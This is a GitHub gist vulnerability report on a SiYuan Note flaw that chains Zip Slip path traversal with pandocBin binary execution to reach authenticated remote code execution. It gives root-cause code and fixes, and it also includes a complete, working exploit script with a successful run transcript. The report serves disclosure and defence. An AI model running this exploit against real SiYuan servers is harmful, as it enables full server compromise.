Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created December 10, 2025 08:03
Show Gist options
  • Select an option

  • Save N3mes1s/7b69e09e81f324c5a4e945f9bc15b102 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/7b69e09e81f324c5a4e945f9bc15b102 to your computer and use it in GitHub Desktop.
SiYuan Zip Slip + Pandoc Binary Execution RCE

Security Report: SiYuan Zip Slip + Pandoc Binary Execution RCE (GHSA-4r66-7rcv-x46x)

Executive Summary

SiYuan Note versions through v3.4.2 contain a chained vulnerability allowing authenticated remote code execution. The /api/archive/unzip endpoint is vulnerable to Zip Slip (path traversal), enabling attackers to write arbitrary files outside the intended workspace. Combined with the /api/setting/setExport endpoint which executes user-supplied pandocBin paths for validation, an attacker can overwrite system executables and trigger their execution. This report is self-contained and documents the full reproduction procedure, evidence, and remediation guidance.

Vulnerability Overview

  • Identifier: GHSA-4r66-7rcv-x46x
  • CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Affected Component: github.com/siyuan-note/siyuan/kernel
  • Affected Versions: SiYuan <= v3.4.2 (commit 6ef83b42c7ce)
  • Patched Version: Not yet released per GHSA
  • CVSS Score: 8.8 (HIGH) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Impact: Authenticated remote code execution allowing full server compromise.

Reproduction Environment

  • Host: Lima-managed VM pruva-ghsa-4r66-7rcv-x46x
  • OS: Ubuntu (Linux arm64 container)
  • Go: 1.25.4 toolchain
  • SiYuan: Commit 6ef83b42c7ce (v3.4.2)
  • Session: 2025-12-09

Attack Chain Overview

┌─────────────────────────────────────────────────────────────────────────┐
│                         Attack Chain                                     │
├─────────────────────────────────────────────────────────────────────────┤
│  1. Authenticate to SiYuan kernel (/api/system/loginAuth)               │
│                              │                                           │
│                              ▼                                           │
│  2. Upload malicious ZIP via /api/file/putFile                          │
│     ZIP contains: "../../../opt/siyuan/startup.sh"                      │
│                              │                                           │
│                              ▼                                           │
│  3. Trigger Zip Slip via /api/archive/unzip                             │
│     Payload escapes workspace, overwrites /opt/siyuan/startup.sh        │
│                              │                                           │
│                              ▼                                           │
│  4. Set pandocBin to overwritten script via /api/setting/setExport      │
│     IsValidPandocBin() executes the script with --version               │
│                              │                                           │
│                              ▼                                           │
│  5. RCE achieved - attacker script runs as SiYuan service user          │
└─────────────────────────────────────────────────────────────────────────┘

Reproduction Script

The following script was generated and successfully executed to demonstrate the vulnerability:

#!/bin/bash
set -euo pipefail

ROOT="/home/g.linux/pruva-workspace"
WORKSPACE="$ROOT/workspaces/vuln"
TARGET_SCRIPT="$ROOT/opt/siyuan/startup.sh"
PWNED_FILE="$WORKSPACE/data/pwned.txt"
PORT="7090"
AUTH_CODE="repro123"

# 1. Start vulnerable SiYuan kernel
./siyuan-kernel \
  --workspace "$WORKSPACE" \
  --accessAuthCode "$AUTH_CODE" \
  --port "$PORT" \
  --mode dev &

# 2. Authenticate
curl -c cookie.txt -X POST "http://127.0.0.1:${PORT}/api/system/loginAuth" \
  -H 'Content-Type: application/json' \
  -d '{"authCode":"repro123"}'

# 3. Create malicious payload script
cat > startup.sh << 'EOF'
#!/bin/sh
echo "you have been pwned" > /home/g.linux/pruva-workspace/workspaces/vuln/data/pwned.txt
echo "pandoc 3.1.0"  # Satisfy version check
EOF
chmod +x startup.sh

# 4. Create Zip Slip archive with path traversal
python3 << 'PY'
import zipfile, pathlib
arcname = "../../../opt/siyuan/startup.sh"
info = zipfile.ZipInfo(arcname)
info.external_attr = 0o100755 << 16  # Preserve executable bit
with zipfile.ZipFile("exploit.zip", 'w') as zf:
    zf.writestr(info, pathlib.Path("startup.sh").read_bytes())
PY

# 5. Upload exploit archive
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/file/putFile" \
  -F "path=/data/exploit.zip" \
  -F "file=@exploit.zip"

# 6. Trigger Zip Slip - file escapes to /opt/siyuan/startup.sh
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/archive/unzip" \
  -H 'Content-Type: application/json' \
  -d '{"zipPath":"/data/exploit.zip","path":"/data/"}'

# 7. Point pandocBin at overwritten script - triggers execution
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/setting/setExport" \
  -H 'Content-Type: application/json' \
  -d '{"pandocBin":"/home/g.linux/pruva-workspace/opt/siyuan/startup.sh"}'

# 8. Verify RCE
cat "$PWNED_FILE"

Command Transcript

[2025-12-09T21:35:00+00:00] Ensuring Go go1.25.4 toolchain is available
[2025-12-09T21:35:01+00:00] Building vulnerable kernel binary
[2025-12-09T21:35:45+00:00] Starting SiYuan kernel on port 7090
[2025-12-09T21:35:47+00:00] Kernel is ready
[2025-12-09T21:35:47+00:00] Authenticating to kernel via /api/system/loginAuth
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Uploading exploit archive via /api/file/putFile
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Triggering vulnerable unzip endpoint
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Pointing pandocBin at the overwritten script
{"code":0,"msg":"","data":{"pandocBin":"/home/g.linux/pruva-workspace/opt/siyuan/startup.sh",...}}
[2025-12-09T21:35:49+00:00] Verifying that the malicious payload executed
[2025-12-09T21:35:49+00:00] Reproduction successful; pwned.txt saved to logs/pwned.txt

=== Contents of pwned.txt ===
you have been pwned

The key evidence:

  • All API calls returned {"code":0} indicating success
  • pandocBin was set to the attacker-controlled script path
  • /home/g.linux/pruva-workspace/workspaces/vuln/data/pwned.txt was created with "you have been pwned"
  • The payload script executed during IsValidPandocBin() validation

Root Cause Analysis

Vulnerability 1: Zip Slip in /api/archive/unzip

The kernel delegates archive extraction to gulu.Zip.Unzip:

// kernel/model/archive.go
func UnzipArchive(zipPath, destPath string) error {
    // destPath = "/data/" (user workspace)
    // zipPath = "/data/exploit.zip"
    return gulu.Zip.Unzip(zipPath, destPath)
}

The underlying gulu.Zip.Unzip implementation:

// github.com/88250/gulu/zip.go
func (zip *GuluZip) Unzip(zipFile, destDir string) error {
    for _, f := range r.File {
        // BUG: No validation of f.Name for path traversal
        fpath := filepath.Join(destDir, f.Name)
        // If f.Name = "../../../etc/passwd", fpath escapes destDir
        os.MkdirAll(filepath.Dir(fpath), 0755)
        // File written outside intended directory
    }
}

The bug: No validation strips .. components or checks if the resolved path is within destDir.

Vulnerability 2: Arbitrary Binary Execution in /api/setting/setExport

// kernel/model/export.go
func SetExport(export *Export) error {
    if export.PandocBin != "" {
        // BUG: Executes ANY path the user supplies
        if !util.IsValidPandocBin(export.PandocBin) {
            return errors.New("invalid pandoc binary")
        }
    }
    // Save setting
}

// kernel/util/pandoc.go
func IsValidPandocBin(binPath string) bool {
    // DANGEROUS: Executes user-supplied path!
    cmd := exec.Command(binPath, "--version")
    output, err := cmd.CombinedOutput()
    // If output contains "pandoc", it's "valid"
    return strings.Contains(string(output), "pandoc")
}

The bug: IsValidPandocBin executes arbitrary binaries without any path validation. Combined with Zip Slip, attackers can:

  1. Write malicious script anywhere on filesystem
  2. Point pandocBin to that script
  3. Script executes when IsValidPandocBin runs --version

Impact Analysis

With authenticated RCE, an attacker can:

  • Execute arbitrary shell commands as the SiYuan service user
  • Read/modify/delete all notes and attachments in the workspace
  • Exfiltrate sensitive data (notes, credentials, API keys)
  • Install persistent backdoors or cryptocurrency miners
  • Pivot to other services on the same host
  • If SiYuan runs as root (not recommended), full system compromise

The vulnerability is particularly dangerous because:

  • Only requires authentication (which may be a weak/default code)
  • Attack executes during a "validation" step, not obvious user action
  • No rate limiting on the affected endpoints
  • The Zip Slip primitive can overwrite any file writable by the service user

Mitigation Guidance

  1. Patch the Zip Slip vulnerability in archive extraction:

    func (zip *GuluZip) Unzip(zipFile, destDir string) error {
        absDestDir, _ := filepath.Abs(destDir)
        for _, f := range r.File {
            // Normalize and validate path
            fpath := filepath.Join(destDir, f.Name)
            absFpath, _ := filepath.Abs(fpath)
    
            // SECURITY: Reject paths that escape destination
            if !strings.HasPrefix(absFpath, absDestDir) {
                return fmt.Errorf("zip slip detected: %s", f.Name)
            }
            // Continue extraction...
        }
    }
  2. Restrict pandocBin paths to an allowlist:

    var allowedPandocPaths = []string{
        "/usr/bin/pandoc",
        "/usr/local/bin/pandoc",
        "/opt/siyuan/pandoc/pandoc",
    }
    
    func IsValidPandocBin(binPath string) bool {
        absPath, _ := filepath.Abs(binPath)
        for _, allowed := range allowedPandocPaths {
            if absPath == allowed {
                // Now safe to execute
                return checkPandocVersion(binPath)
            }
        }
        return false
    }
  3. Run SiYuan with minimal privileges - never as root

  4. Use strong authentication codes - avoid defaults like "123456"

References

Appendix

  • Vulnerable version tested: SiYuan v3.4.2 (commit 6ef83b42c7ce)
  • Attack prerequisites: Valid authentication code
  • Exploit artifact: pwned.txt with "you have been pwned"
  • Artifacts location: artifacts/runs/GHSA-4r66-7rcv-x46x-SIYUAN-ZIP-SLIP-PANDOC-RCE/20251209-204922/
  • Reproduction logs: logs/repro_run.log, logs/siyuan-kernel-runtime.log, logs/pwned.txt

This report is self-contained; the included scripts, attack chain description, and command transcripts provide everything required to reproduce and validate GHSA-4r66-7rcv-x46x without additional context.

Comments are disabled for this gist.